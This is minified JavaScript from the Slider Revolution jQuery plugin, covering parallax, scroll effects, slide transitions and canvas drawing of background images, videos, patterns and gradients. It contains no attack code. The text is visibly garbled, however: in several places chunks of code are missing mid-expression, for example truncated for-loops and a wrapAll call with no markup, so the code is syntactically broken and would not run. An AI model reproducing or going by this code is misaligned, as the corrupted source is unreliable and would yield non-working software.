0!==t[e].parallax.pcontainers[t[e]._L[i].slidekey][i]?Math.abs(t[e].parallax.pcontainers[t[e]._L[i].slidekey][i]["offs"+a]):0},updateParallax:function(e,i){i.frame&&(i.frame=window.cancelAnimationFrame(i.frame));var a,r,o=i.eventData,s=t[e].c.offset().left,n=t[e].c.offset().top,l=t[e].canv.width,d=t[e].canv.height,c=i.speed/1e3||3;if("mousedrag"==i.type?(r=-20*t[e].carousel.delta,a=-20*t[e].carousel.delta,t[e].carousel.fromWheel?"v"===t[e].carousel.orientation?a=0:r=0:"v"===t[e].carousel.orientation?a=t[e].carousel.cX-t[e].carousel.lerpX:r=t[e].carousel.cY-t[e].carousel.lerpY):"enterpoint"==i.origo&&"deviceorientation"!==o.type?(!1===i.mouseEntered&&(i.mouseEnterX=o.pageX-s,i.mouseEnterY=o.pageY-n,i.mouseEntered=!0),a=i.mouseEnterX-(o.pageX-s),r=i.mouseEnterY-(o.pageY-n),c=i.speed/1e3||.4):"deviceorientation"!==o.type&&(a=l/2-(o.pageX-s),r=d/2-(o.pageY-n)),("mousedrag"!=t[e].parallax.type||t[e].carousel.isPressed)&&o&&"deviceorientation"==o.type){var p,g,u;p=o.beta-60,g=o.gamma,u=p;var h=Math.abs(i.orientationX-g)>1||Math.abs(i.orientationY-u)>1;if(i.orientationX=g,i.orientationY=u,!h)return;if(t.winW>t.getWinH(e)){var m=g;g=u,u=m}a=360/l*(g*=1.5),r=180/d*(u*=1.5)}for(var v in!o||"mouseleave"!==o.type&&"mouseout"!==o.type?"mousedrag"==t[e].parallax.type&&t[e].carousel.isPressed&&("v"===t[e].carousel.orientation&&"same"==i.car_dir&&(a=0),"same"==i.car_dir?"v"===t[e].carousel.orientation?a=0:r=0:"opposite"==i.car_dir&&("v"===t[e].carousel.orientation?(a=r,r=0):(r=a,a=0)),"v"===t[e].carousel.orientation?(r*=i.car_smulti,a*=i.car_omulti):(r*=i.car_omulti,a*=i.car_smulti)):i.mouseEntered=!1,i.pcontainers)if(i.pcontainers.hasOwnProperty(v)){var f=!1;if("mousedrag"==i.type&&!t[e].carousel.justify)for(var y=0;y=0&&i.top<=t.lastwindowheight||i.top<=0&&i.bottom>=0||i.top<=0&&i.bottom,t[e].slides[void 0===t[e].pr_active_key?0:t[e].pr_active_key]);if(t[e].scrollProg=o,t[e].scrollProgBasics={top:i.top,height:i.hheight,bottom:i.bottom},t[e].sbtimeline.fixed?(!1===t[e].fixedScrollOnState||0!==t[e].drawUpdates.cpar.left||!t.stickySupported||0!=t[e].fullScreenOffsetResult&&null!=t[e].fullScreenOffsetResult?t.stickySupported=!1:(t[e].topc.addClass("rs-stickyscrollon"),t[e].fixedScrollOnState=!0),void 0===t[e].sbtimeline.rest&&t.updateFixedScrollTimes(e),i.top>=t[e].fullScreenOffsetResult&&i.top<=t.lastwindowheight?(o=t[e].sbtimeline.fixStart*(1-i.top/t.lastwindowheight)/1e3,!0!==t.stickySupported&&!1!==t[e].fixedScrollOnState&&(t[e].topc.removeClass("rs-fixedscrollon"),tpGS.gsap.set(t[e].cpar,{top:0,y:0}),t[e].fixedScrollOnState=!1)):i.top<=t[e].fullScreenOffsetResult&&i.bottom>=t[e].module.height?(!0!==t.stickySupported&&!0!==t[e].fixedScrollOnState&&(t[e].fixedScrollOnState=!0,t[e].topc.addClass("rs-fixedscrollon"),tpGS.gsap.set(t[e].cpar,{top:0,y:t[e].fullScreenOffsetResult})),o=(t[e].sbtimeline.fixStart+t[e].sbtimeline.time*(Math.abs(i.top)/(i.hheight-t[e].module.height)))/1e3):(!0!==t.stickySupported&&(tpGS.gsap.set(t[e].cpar,{top:t[e].scrollproc>=0?0:i.height-t[e].module.height}),!1!==t[e].fixedScrollOnState&&(t[e].topc.removeClass("rs-fixedscrollon"),t[e].fixedScrollOnState=!1)),o=i.top>t.lastwindowheight?0:(t[e].sbtimeline.fixEnd+t[e].sbtimeline.rest*(1-i.bottom/t[e].module.height))/1e3)):o=t[e].duration*o/1e3,void 0!==s&&void 0!==t.gA(s,"key")&&!0!==a){var n=0;for(var l in t[e].sbas[t.gA(s,"key")])if(void 0!==t[e]._L[l]&&null==t[e]._L[l].timeline&&n++,void 0!==t[e]._L[l]&&void 0!==t[e]._L[l].timeline&&(1==t[e]._L[l].animationonscroll||"true"==t[e]._L[l].animationonscroll)){n=-9999;var d=void 0!==t[e]._L[l].scrollBasedOffset?o+t[e]._L[l].scrollBasedOffset:o;d=d<=0?0:d<.1?.1:d,t[e]._L[l].animteToTime!==d&&(t[e]._L[l].animteToTimeCache=t[e]._L[l].animteToTime,t[e]._L[l].animteToTime=d,tpGS.gsap.to(t[e]._L[l].timeline,t[e].sbtimeline.speed,{time:d,ease:t[e].sbtimeline.ease}))}n>0&&requestAnimationFrame(function(){t.parallaxProcesses(e,i,a,r)}),t[e].c.trigger("timeline_scroll_processed",{id:e,mproc:o,speed:t[e].sbtimeline.speed})}if(t.ISM&&t[e].parallax.disable_onmobile)return!1;var c,p=t[e].parallax;if(void 0!==t[e].slides[t[e].pr_processing_key]&&void 0!==t[e].slides[t[e].pr_processing_key].dataset&&(c=t[e].slides[t[e].pr_processing_key].dataset.key),"3d"!=p.type&&"3D"!=p.type){if("scroll"==p.type||"mousescroll"==p.type)for(var g in p.pcontainers)if(p.pcontainers.hasOwnProperty(g)&&(void 0===t[e].activeRSSlide||"static"===g||t[e].slides[t[e].activeRSSlide].dataset.key===g||c===g))for(var u in p.pcontainers[g])if(p.pcontainers[g].hasOwnProperty(u)){var h=p.pcontainers[g][u],m=void 0!==r?r:p.speedls/1e3||0;h.pl=h.depth/100,h.offsv=Math.round(t[e].scrollproc*(-h.pl*t[e].canv.height)*10)/10||0,tpGS.gsap.to(h.tpw,m,{overwrite:"auto",force3D:"auto",y:h.offsv})}if(p.bgcontainers)for(u=0;u50?.15:m,tpGS.gsap.to(v,m,{position:"absolute",top:"0px",left:"0px",backfaceVisibility:"hidden",force3D:"true",y:y+"px"}),t[e].parallax.lastBGY=y}}var w=t[e].scrolleffect;if(w.set&&(!t.ISM||!1===w.disable_onmobile)){var b=Math.abs(t[e].scrollproc)-w.tilt/100;if(b=b<0?0:b,!1!==w._L){var _=1-b*w.multiplicator_layers,S={force3D:"true"};if("top"==w.direction&&t[e].scrollproc>=0&&(_=1),"bottom"==w.direction&&t[e].scrollproc<=0&&(_=1),_=_>1?1:_<0?0:_,w.fade&&(S.opacity=_),w.scale){var x=_;S.scale=1-x+1}if(w.blur)O=(O=(1-_)*w.maxblur)<=.03?0:O,S["-webkit-filter"]="blur("+O+"px)",S.filter="blur("+O+"px)",window.isSafari11&&void 0!==w._L&&void 0!==w._L[0]&&void 0!==w._L[0][0]&&"RS-MASK-WRAP"==w._L[0][0].tagName&&(S.z=.001);if(w.grayscale){var k="grayscale("+100*(1-_)+"%)";S["-webkit-filter"]=void 0===S["-webkit-filter"]?k:S["-webkit-filter"]+" "+k,S.filter=void 0===S.filter?k:S.filter+" "+k}tpGS.gsap.set(w._L,S)}if(!1!==w.bgs){_=1-b*w.multiplicator,S={backfaceVisibility:"hidden",force3D:"true"};for(var L in"top"==w.direction&&t[e].scrollproc>=0&&(_=1),"bottom"==w.direction&&t[e].scrollproc<=0&&(_=1),_=_>1?1:_<0?0:_,w.bgs)if(w.bgs.hasOwnProperty(L)){if(w.bgs[L].fade&&(S.opacity=_),w.bgs[L].blur){var O=(1-_)*w.maxblur;S["-webkit-filter"]="blur("+O+"px)",S.filter="blur("+O+"px)"}if(w.bgs[L].grayscale){k="grayscale("+100*(1-_)+"%)";S["-webkit-filter"]=void 0===S["-webkit-filter"]?k:S["-webkit-filter"]+" "+k,S.filter=void 0===S.filter?k:S.filter+" "+k}tpGS.gsap.set(w.bgs[L].c,S)}}}}});var i=function(e,i){var a=t[i].parallax;e.find("rs-sbg-wrap").wrapAll('
            ');var r=e[0].querySelectorAll(".rs-parallax-wrap"),o=document.createElement("div");o.className="dddwrapper-layer",o.style.width="100%",o.style.height="100%",o.style.position="absolute",o.style.top="0px",o.style.left="0px",o.style.zIndex=5,o.style.overflow=a.ddd_layer_overflow;for(var s=0;s');var n=e.find(".dddwrapper"),l=e.find(".dddwrapper-layer");e.find(".dddwrapper-layertobggroup").appendTo(n),"carousel"==t[i].sliderType&&(a.ddd_shadow&&n.addClass("dddwrappershadow"),tpGS.gsap.set(n,{borderRadius:t[i].carousel.border_radius})),tpGS.gsap.set(e,{overflow:"visible",transformStyle:"preserve-3d",perspective:1600}),tpGS.gsap.set(n,{force3D:"auto",transformOrigin:"50% 50%",transformStyle:"preserve-3d",transformPerspective:1600}),tpGS.gsap.set(l,{force3D:"auto",transformOrigin:"50% 50%",zIndex:5,transformStyle:"flat",transformPerspective:1600}),tpGS.gsap.set(t[i].canvas,{transformStyle:"preserve-3d",transformPerspective:1600})};function a(i,a,r,o){e(r).find(".rs-pxl-"+i).each(function(){var e=this.className.indexOf("rs-pxmask")>=0,r=e?t.closestNode(this,"RS-PX-MASK"):t.closestClass(this,"rs-parallax-wrap");r&&(e&&!window.isSafari11&&(tpGS.gsap.set(r,{z:1}),tpGS.gsap.set(t.closestNode(r,"RS-BG-ELEM"),{z:1})),r.dataset.parallaxlevel=a.levels[i-1],r.classList.add("tp-parallax-container"),o[this.id]={tpw:r,depth:a.levels[i-1],offsv:0,offsh:0})})}window.RS_MODULES=window.RS_MODULES||{},window.RS_MODULES.parallax={loaded:!0,version:"6.6.0"},window.RS_MODULES.checkMinimal&&window.RS_MODULES.checkMinimal()}(jQuery),function(e){"use strict";window._R_is_Editor?RVS._R=void 0===RVS._R?{}:RVS._R:window._R_is_Editor=!1;jQuery.fn.revolution=jQuery.fn.revolution||{};var t=_R_is_Editor?RVS._R:jQuery.fn.revolution;_R_is_Editor&&(RVS._R.isNumeric=RVS.F.isNumeric),jQuery.extend(!0,t,{getSlideAnimationObj:function(e,i,a){var r,o={};for(var s in void 0===i.anim&&null==i.in&&(i.in="o:0"),i)if(i.hasOwnProperty(s)&&void 0!==i[s]){var n=i[s].split(";");for(var l in n)n.hasOwnProperty(l)&&void 0!==(r=n[l].split(":"))[0]&&void 0!==r[1]&&(o[s]=void 0===o[s]?{}:o[s],o[s][r[0]]="d3"===s&&"c"===r[0]?r[1]:r[1].split(",")[0])}return o.in=void 0===o.in?{}:o.in,o.anim=void 0===o.anim?{e:"basic"}:o.anim,_R_is_Editor||void 0===o.in||void 0===o.in.prst||t.loadSlideAnimLibrary(e,{key:a,prst:o.in.prst}),t[e].sbgs[a].slideanimationRebuild=!1,o},loadSlideAnimLibrary:function(e,i){void 0===t.SLTR&&!0!==t.SLTR_loading?(t.SLTR_loading=!0,jQuery.ajax({type:"post",url:t[e].ajaxUrl,dataType:"json",data:{action:"revslider_ajax_call_front",client_action:"get_transitions"},success:function(a,r,o){1==a.success&&(t.SLTR=a.transitions,void 0!==i&&t.setRandomDefaults(e,i.key,i.prst))},error:function(e){console.log("Transition Table can not be loaded"),console.log(e)}})):void 0!==i&&void 0!==t.SLTR&&t.setRandomDefaults(e,i.key,i.prst)},convertSlideAnimVals:function(e){return{anim:{eng:e.eng,ms:parseInt(e.speed,0),o:e.o,e:e.e,f:e.f,p:e.p,d:parseInt(e.d,0),adpr:e.adpr},d3:{f:e.d3.f,d:e.d3.d,z:e.d3.z,t:e.d3.t,c:e.d3.c,e:e.d3.e,fdi:e.d3.fdi,fdo:e.d3.fdo,fz:e.d3.fz,su:e.d3.su,smi:e.d3.smi,sma:e.d3.sma,sc:e.d3.sc,sl:e.d3.sl},in:{eng:e.in.eng,o:_R_is_Editor&&void 0!==e.preset&&0===e.preset.indexOf("rnd")?0:t.valBeau(e.in.o),x:t.valBeau(e.in.x),y:t.valBeau(e.in.y),r:t.valBeau(e.in.r),sx:t.valBeau(e.in.sx),sy:t.valBeau(e.in.sy),m:e.in.m,e:e.in.e,row:e.in.row,col:e.in.col,mo:"false"!==e.in.mou&&!1!==e.in.mou?t.valBeau(e.in.mo):0,moo:"false"!==e.in.mou&&!1!==e.in.mou?t.valBeau(e.in.moo):"none",mou:e.in.mou},out:void 0===e.out.a||"true"==e.out.a||!0===e.out.a?void 0:{a:l(e.out.a),o:t.valBeau(e.out.o),x:t.valBeau(e.out.x),y:t.valBeau(e.out.y),r:t.valBeau(e.out.r),sx:t.valBeau(e.out.sx),sy:t.valBeau(e.out.sy),m:e.out.m,e:e.out.e,row:t.valBeau(e.out.row),col:t.valBeau(e.out.col)},filter:{u:e.filter.u,e:e.filter.e,b:e.filter.b,g:e.filter.g,h:e.filter.h,s:e.filter.s,c:e.filter.c,i:e.filter.i},addOns:e.addOns}},setRandomDefaults:function(e,i,a){t[e].sbgs[i].random=t.getAnimObjectByKey(a,t.SLTR)},getSlideAnim_AddonDefaults:function(){var e={};for(var i in t.enabledSlideAnimAddons)e=jQuery.extend(!0,e,t[t.enabledSlideAnimAddons[i]].defaults());return e},getSlideAnim_EmptyObject:function(){return{speed:1e3,o:"inout",e:"basic",f:"start",p:"none",d:15,eng:"animateCore",adpr:!0,d3:{f:"none",d:"horizontal",z:300,t:0,c:"#ccc",e:"power2.inOut",fdi:1.5,fdo:2,fz:0,su:!1,smi:0,sma:.5,sc:"#000",sl:1},filter:{u:!1,e:"default",b:0,g:0,h:100,s:0,c:100,i:0},in:{o:1,x:0,y:0,r:0,sx:1,sy:1,m:!1,e:"power2.inOut",row:1,col:1,mo:80,mou:!1},out:{a:"true",o:1,x:0,y:0,r:0,sx:1,sy:1,m:!1,e:"power2.inOut",row:1,col:1},addOns:t.getSlideAnim_AddonDefaults()}},getAnimObjectByKey:function(e,i){if(t.getAnimObjectCacheKey===e)return t.getAnimObjectCache;var a;for(var r in t.getAnimObjectCacheKey=e,i)if(i.hasOwnProperty(r)&&void 0===a)for(var o in i[r])if(i[r].hasOwnProperty(o)&&void 0===a)if(e===o&&0===e.indexOf("rnd"))(a=i[r][o]).main=r,a.group=o;else for(var s in i[r][o])i[r][o].hasOwnProperty(s)&&void 0===a&&s===e&&((a=i[r][o][s]).main=r,a.group=o);return t.getAnimObjectCache=jQuery.extend(!0,{},a),a},getRandomSlideTrans:function(e,i,a){if(void 0!==t.randomSlideAnimCache&&void 0!==t.randomSlideAnimCache[e]&&void 0!==t.randomSlideAnimCache[e][i])return t.randomSlideAnimCache[e][i][Math.floor(Math.random()*t.randomSlideAnimCache[e][i].length)];for(var r in t.randomSlideAnimCache=void 0===t.randomSlideAnimCache?{}:t.randomSlideAnimCache,t.randomSlideAnimCache[e]=void 0===t.randomSlideAnimCache[e]?{}:t.randomSlideAnimCache[e],t.randomSlideAnimCache[e][i]=void 0===t.randomSlideAnimCache[e][i]?[]:t.randomSlideAnimCache[e][i],a)if(a.hasOwnProperty(r)&&"random"!==r&&"custom"!==r&&("all"==e||r==e))for(var o in a[r])if(a[r].hasOwnProperty(o)&&"icon"!==o&&(""+i=="undefined"||i.indexOf(o)>=0))for(var s in a[r][o])a[r][o].hasOwnProperty(s)&&-1==jQuery.inArray(a[r][o][s].title,["*north*","*south*","*east*","*west*"])&&t.randomSlideAnimCache[e][i].push(s);return t.randomSlideAnimCache[e][i][Math.floor(Math.random()*t.randomSlideAnimCache[e][i].length)]},cbgW:function(e,i){return _R_is_Editor?RVS.RMD.width:"carousel"===t[e].sliderType?t[e].justifyCarousel?t[e].carousel.slide_widths[void 0!==i?i:t[e].carousel.focused]:t[e].carousel.slide_width:t[e].canv.width},cbgH:function(e,i){return _R_is_Editor?RVS.RMD.height:"carousel"===t[e].sliderType?"v"!=t[e].carousel.orientation||"fullscreen"!==t[e].sliderLayout&&!t[e].infullscreenmode?!0===t[e].carousel.justify?t[e].carousel.slide_height:"fullscreen"===t[e].sliderLayout||t[e].infullscreenmode?t[e].module.height:Math.min(t[e].canv.height,t[e].gridheight[t[e].level]):t[e].carousel.slide_height:void 0!==t[e].maxHeight&&t[e].maxHeight>0&&!t[e].fixedOnTop?Math.min(t[e].canv.height,t[e].maxHeight):t[e].canv.height},valBeau:function(e){return e=(""+(e=(""+(e=(""+(e=(""+(e=(""+e).split(",").join("|"))).replace("{","ran("))).replace("}",")"))).replace("[","cyc("))).replace("]",")")},animateSlide:function(e,t){return _R_is_Editor&&RVS.F.resetSlideTL(),void 0===tpGS.eases.late&&(tpGS.CustomEase.create("late","M0,0,C0,0,0.474,0.078,0.724,0.26,0.969,0.438,1,1,1,1"),tpGS.CustomEase.create("late2","M0,0 C0,0 0.738,-0.06 0.868,0.22 1,0.506 1,1 1,1 "),tpGS.CustomEase.create("late3","M0,0,C0,0,0.682,0.157,0.812,0.438,0.944,0.724,1,1,1,1")),o(e,t)},getBasic:function(e){return jQuery.extend(!0,{attr:null==e||void 0===e.attr?["o","r","sx","sy","x","y","m","e","row","col","mo","moo"]:e.attr,in:{f:"start",m:!1,o:1,r:0,sx:1,sy:1,x:0,y:0,row:1,col:1,e:"power2.inOut",ms:1e3,mo:0,moo:"none"},out:{f:"start",m:!1,o:1,r:0,sx:1,sy:1,x:0,y:0,row:1,col:1,e:"power2.inOut",ms:1e3}},e)},playBGVideo:function(e,i,a){if(_R_is_Editor)a=void 0===a?RVS.SBGS[RVS.S.slideId].n:a;else{if(void 0===a&&(void 0===t[e].pr_next_bg||0===t[e].pr_next_bg.length))return;a=void 0===a?t[e].sbgs[void 0===i?t[e].pr_next_bg[0].dataset.key:i]:a}void 0!==a.bgvid&&a.bgvid.length>0&&(c(e,{},a,"in"),t.resetVideo(a.bgvid,e),t.playVideo(a.bgvid,e,!0),tpGS.gsap.to(a.bgvid[0],.2,{zIndex:30,display:"block",autoAlpha:1,delay:.075,overwrite:"all"}))},stopBGVideo:function(e,i,a){if(_R_is_Editor)a=void 0===a?RVS.SBGS[RVS.S.slideId].n:a;else{if(void 0===a&&(void 0===t[e].pr_next_bg||0===t[e].pr_next_bg.length))return;a=void 0===a?t[e].sbgs[void 0===i?t[e].pr_next_bg[0].dataset.key:i]:a}void 0!==a.bgvid&&a.bgvid.length>0&&(a.drawVideoCanvasImagesRecall=!1,t.stopVideo(a.bgvid,e),tpGS.gsap.to(a.bgvid[0],.2,{autoAlpha:0,zIndex:0,display:"none"}))},SATools:{getOffset:function(e,i,a,r){var o=(""+e).indexOf("%")>=0;return 0==(e=t.SATools.getSpecialValue(e,r,a))||void 0===e?0:o?i*(parseInt(e)/100):parseInt(e)},getSpecialValue:function(e,i,a,r){if(t.isNumeric(parseFloat(e,0)))return parseFloat(e,0);var o=(""+e).split("ran(").length>1?"random":(""+e).split("cyc(").length>1?"wrap":(""+e).split("(").length>1?"dir":"unknown",s=("random"===o?e.slice(4,-1):"wrap"===o?e.slice(4,-1):e.slice(1,-1)).split("|");if("random"===o)return tpGS.gsap.utils.random(parseFloat(s[0]),parseFloat(s.length>1?s[1]:0-s[0]));if("wrap"===o){var n=tpGS.gsap.utils.wrap(s,i);return(""+n).split("(").length>1?parseFloat(n.slice(1,-1))*a+(r?"%":""):n}return"dir"===o?parseFloat(s[0])*a+(r?"%":""):void 0}},getmDim:function(e,i,a){var r=t.cbgW(e,i),o=t.cbgH(e,i);return a.DPR=_R_is_Editor?Math.min(window.devicePixelRatio,2):t[e].DPR,t.maxDimCheck(a,r,o)},maxDimCheck:function(e,i,a){var r,o;void 0!==e.video&&("img"===e.video.tagName||null==e.video.videoWidth||e.video.videoWidth);if("animating"!==e.currentState&&null==e.panzoom||"animating"===e.currentState&&null==e.panzoom&&(null==e.slideanimation||null==e.slideanimation.anim||"true"!==e.slideanimation.anim.adpr))if(e.DPR>1&&t.ISM&&a>1024)e.DPR=1,r=i,o=a;else{var s={w:null==e.video||e.isVidImg?e.loadobj.width:0==e.video.videoWidth?e.loadobj.width:e.video.videoWidth,h:null==e.video||e.isVidImg?e.loadobj.height:0==e.video.videoHeight?e.loadobj.height:e.video.videoHeight};void 0===s.w&&(s.w=e.loadobj.width),void 0===s.h&&(s.h=e.loadobj.height);var n=a/s.w,l=i/s.h,d=Math.max(n,l);if(d>e.DPR||n>=1&&l>=1?e.DPR=1:e.DPR>d&&(e.DPR=Math.min(e.DPR,e.DPR/d)),r=i*e.DPR,o=a*e.DPR,e.DPR>1){var c=i/a;s.w>s.h&&s.ws.w&&s.hi.fps){i.then=i.now-i.elapsed%i.fps;var r="img"===i.video.tagName||null==i.video.videoWidth||0==i.video.videoWidth;void 0!==i.video&&!i.video.BGrendered&&void 0!==i.loadobj&&void 0!==i.loadobj.img||t.ISM&&t.isFirefox(e)?(i.mDIM=t.getmDim(e,i.skeyindex,i),i.pDIMS=s(i.mDIM,i,{width:i.mDIM.width,height:i.mDIM.height,x:0,y:0,contw:i.loadobj.width,conth:i.loadobj.height}),i.shadowCanvas.width!==i.mDIM.width&&(i.shadowCanvas.width=i.mDIM.width),i.shadowCanvas.height!==i.mDIM.height&&(i.shadowCanvas.height=i.mDIM.height),i.shadowCTX.drawImage(i.loadobj.img,i.pDIMS.x,i.pDIMS.y,i.pDIMS.width,i.pDIMS.height)):((a||void 0===i.sDIMS||r!==i.isVidImg||0===i.sDIMS.width||0===i.sDIMS.height)&&(i.isVidImg=r,i.mDIM=t.getmDim(e,i.skeyindex,i),i.sDIMS=s(i.mDIM,i,{width:i.mDIM.width,height:i.mDIM.height,x:0,y:0,contw:i.isVidImg?i.loadobj.width:i.video.videoWidth,conth:i.isVidImg?i.loadobj.height:i.video.videoHeight})),void 0!==i.sDIMS&&0!==i.sDIMS.width&&0!==i.sDIMS.height&&("animating"===i.currentState?(i.shadowCanvas.width!==i.mDIM.width&&(i.shadowCanvas.width=i.mDIM.width),i.shadowCanvas.height!==i.mDIM.height&&(i.shadowCanvas.height=i.mDIM.height),i.shadowCTX.drawImage(i.video,i.sDIMS.x,i.sDIMS.y,i.sDIMS.width,i.sDIMS.height)):void 0===i.animateDirection&&(i.canvas.width!==i.mDIM.width&&(i.canvas.width=i.mDIM.width),i.canvas.height!==i.mDIM.height&&(i.canvas.height=i.mDIM.height),i.ctx.drawImage(i.video,i.sDIMS.x,i.sDIMS.y,i.sDIMS.width,i.sDIMS.height)),i.shadowCanvas_Drawn=!0))}(a||i.drawVideoCanvasImagesRecall&&"animating"===i.currentState||"animating"===i.currentState&&void 0===i.shadowCanvas_Drawn)&&window.requestAnimationFrame(function(){t.updateVideoFrames(e,i)})},createOverlay:function(e,i,a,r){if("none"===i)return"none";a=void 0===a?1:a;r=void 0===r?{0:"rgba(0, 0, 0, 0)",1:"rgba(0, 0, 0, 1)"}:r;var o={none:[[0]],1:[[1,0],[0,0]],2:[[1,0,0],[0,0,0],[0,0,0]],3:[[1,0,0,0],[0,0,0,0],[0,0,0,0]],4:[[1],[0]],5:[[1],[0],[0]],6:[[1],[0],[0],[0]],7:[[1,0]],8:[[1,0,0]],9:[[1,0,0,0]],10:[[1,0,0,0,0],[0,1,0,1,0],[0,0,0,0,0],[0,1,0,1,0],[0,0,0,0,1]],11:[[0,0,1,0,0],[0,1,0,1,0],[1,0,0,0,1],[0,1,0,1,0],[0,0,1,0,0]],12:[[1,0,0],[0,1,0],[0,0,1]],13:[[0,0,1],[0,1,0],[1,0,0]],14:[[1,0,0,0,0],[0,1,0,0,0],[0,0,1,0,0],[0,0,0,1,0],[0,0,0,0,0]],15:[[0,0,0,0,1],[0,0,0,1,0],[0,0,1,0,0],[0,1,0,0,0],[1,0,0,0,0]],16:[[1,0,0,0,1],[0,1,0,1,0],[0,0,1,0,0],[0,1,0,1,0],[1,0,0,0,1]]},s=void 0===o[i=void 0===i?1:i]?o[2]:o[i];_R_is_Editor&&(t[e]=void 0===t[e]?{}:t[e]),t[e].patternCanvas=document.createElement("canvas"),t[e].patternCtx=t[e].patternCanvas.getContext("2d"),t[e].patternCanvas.width=s[0].length*a,t[e].patternCanvas.height=s.length*a;for(var n=0;n=0)&&(void 0===i.loadobj||!0!==i.loadobj.useBGColor),_R_is_Editor&&void 0===i.panzoom&&delete i.shadowCanvas,void 0===i.shadowCanvas&&(i.shadowCanvas=document.createElement("canvas"),i.shadowCTX=i.shadowCanvas.getContext("2d"),i.shadowCanvas.style.background="transparent",i.shadowCanvas.style.opacity=1),!0===i.replaceShadowCanvas||!0===i.loadobj.bgColor||!0===i.usebgColor||void 0!==i.panzoom||null!=i.isHTML5&&1!=i.poster||i.usepattern?(r={width:i.mDIM.width,height:i.mDIM.height,x:0,y:0},i.usepattern&&void 0!==i.loadobj&&void 0!==i.loadobj.img?t.getCanvasPattern(e,i,{ratio:i.loadobj.height/i.loadobj.width}):(i.loadobj.bgColor||i.usebgColor)&&(i.shadowCanvas.width!==i.mDIM.width&&(i.shadowCanvas.width=i.mDIM.width),i.shadowCanvas.height!==i.mDIM.height&&(i.shadowCanvas.height=i.mDIM.height),t.getCanvasGradients(e,i))):(r=s(i.mDIM,i,{width:i.mDIM.width,height:i.mDIM.height,x:0,y:0,contw:i.loadobj.width,conth:i.loadobj.height}),i.shadowCanvas.width!==i.mDIM.width&&(i.shadowCanvas.width=i.mDIM.width),i.shadowCanvas.height!==i.mDIM.height&&(i.shadowCanvas.height=i.mDIM.height),void 0!==i.loadobj&&void 0!==i.loadobj.img&&i.shadowCTX.drawImage(i.loadobj.img,r.x,r.y,r.width,r.height),r={width:i.mDIM.width,height:i.mDIM.height,x:0,y:0}),r},getCanvasPattern:function(e,i,a){void 0===i.patternImageCanvas&&(i.patternImageCanvas=document.createElement("canvas"),i.patternImageCTX=i.patternImageCanvas.getContext("2d"));var r=i.bgfit.split(" ");1===r.length&&(r[1]=r[0]),a.width="auto"===r[0]?i.loadobj.width:i.loadobj.width*(parseInt(r[0],0)/100),a.height="auto"===r[1]?i.loadobj.height:a.width*a.ratio,i.DPR=_R_is_Editor?Math.min(window.devicePixelRatio,2):t[e].DPR;var o=a.width/a.height;a.width=a.width*i.DPR,a.height=a.height*i.DPR,t.isIOS&&a.width*a.height>15728640&&(i.mDIM.width>i.mDIM.height?(a.width=i.mDIM.width,a.height=Math.round(i.mDIM.width/o)):(a.height=i.mDIM.height,a.width=Math.round(i.mDIM.height*o))),i.patternImageCanvas.width=a.width,i.patternImageCanvas.height=a.height,i.patternImageCTX.drawImage(i.loadobj.img,0,0,a.width,a.height),i.shadowCanvas.width!==i.mDIM.width&&(i.shadowCanvas.width=i.mDIM.width),i.shadowCanvas.height!==i.mDIM.height&&(i.shadowCanvas.height=i.mDIM.height),i.shadowCTX.clearRect(0,0,i.shadowCTX.canvas.width,i.shadowCTX.canvas.height),i.pattern=i.shadowCTX.createPattern(i.patternImageCanvas,i.bgrepeat),i.shadowCTX.fillStyle=i.pattern,i.shadowShifts={h:i.bgposition.split(" ")[0],v:i.bgposition.split(" ")[1]},i.shadowShifts.hperc=t.isNumeric(parseInt(i.shadowShifts.h))?parseInt(i.shadowShifts.h)/100*i.mDIM.width:0,i.shadowShifts.vperc=t.isNumeric(parseInt(i.shadowShifts.v))?parseInt(i.shadowShifts.v)/100*i.mDIM.height:0,i.shadowShifts.x="left"===i.shadowShifts.h?0:"center"===i.shadowShifts.h||"50%"==i.shadowShifts.h?"repeat"==i.bgrepeat||"repeat-x"==i.bgrepeat?i.mDIM.width/2-a.width/2-Math.ceil(i.mDIM.width/2/a.width)*a.width:i.mDIM.width/2-a.width/2:"right"===i.shadowShifts.h?"repeat"==i.bgrepeat||"repeat-x"==i.bgrepeat?-(a.width-i.mDIM.width%a.width):i.mDIM.width-a.width:"repeat"==i.bgrepeat||"repeat-x"==i.bgrepeat?-(a.width-i.shadowShifts.hperc%a.width):i.shadowShifts.hperc,i.shadowShifts.y="top"===i.shadowShifts.v?0:"center"===i.shadowShifts.v||"50%"==i.shadowShifts.v?"repeat"==i.bgrepeat||"repeat-y"==i.bgrepeat?i.mDIM.height/2-a.height/2-Math.ceil(i.mDIM.height/2/a.height)*a.height:i.mDIM.height/2-a.height/2:"bottom"===i.shadowShifts.v?"repeat"==i.bgrepeat||"repeat-y"==i.bgrepeat?-(a.height-i.mDIM.height%a.height):i.mDIM.height-a.height:"repeat"==i.bgrepeat||"repeat-y"==i.bgrepeat?-(a.height-i.shadowShifts.vperc%a.height):i.shadowShifts.vperc,i.shadowCTX.save(),i.shadowCTX.translate(i.shadowShifts.x,i.shadowShifts.y),i.shadowCTX.fillRect(0,0,i.mDIM.width-i.shadowShifts.x,i.mDIM.height-i.shadowShifts.y),i.shadowCTX.restore()},getCanvasGradients:function(e,i){if(i.bgcolor.indexOf("gradient")>=0){i.gradient=null==i.gradient||_R_is_Editor?t.getGradients(i.bgcolor):i.gradient,i.shadowGrd="radialGradient"===i.gradient.type?i.shadowCTX.createRadialGradient(i.mDIM.width/2,i.mDIM.height/2,0,i.mDIM.width/2,i.mDIM.height/2,Math.max(i.mDIM.width/2,i.mDIM.height/2)):t.calcLinearGradient(i.shadowCTX,i.shadowCanvas.width,i.shadowCanvas.height,i.gradient.deg);for(var a=0;a3?n[3]:1}}),l.appendChild(s);t.gradSVG.appendChild(l),e="url(#tp_svg_gradient_"+t.svgGradients.length+")",t.svgGradients.push({url:e,src:r,g:l})}return e},getGradients:function(e){return e.indexOf("radial-gradient")>=0?{stops:t.getGradientColorStopPoints(e.split("radial-gradient(ellipse at center, ")[1]),type:"radialGradient",deg:0}:-1!==e.indexOf("gradient")?t.getLinearGradientStops(e):e},getLinearGradientStops:function(e){var t=e.split("linear-gradient(")[1];_R_is_Editor&&(t=(t=t.split(", ").join(",")).split(",rgba").join(", rgba"));var i=t.split("deg, ");for(var a in t=(i.length>1?i[1]:i[0]).split(" 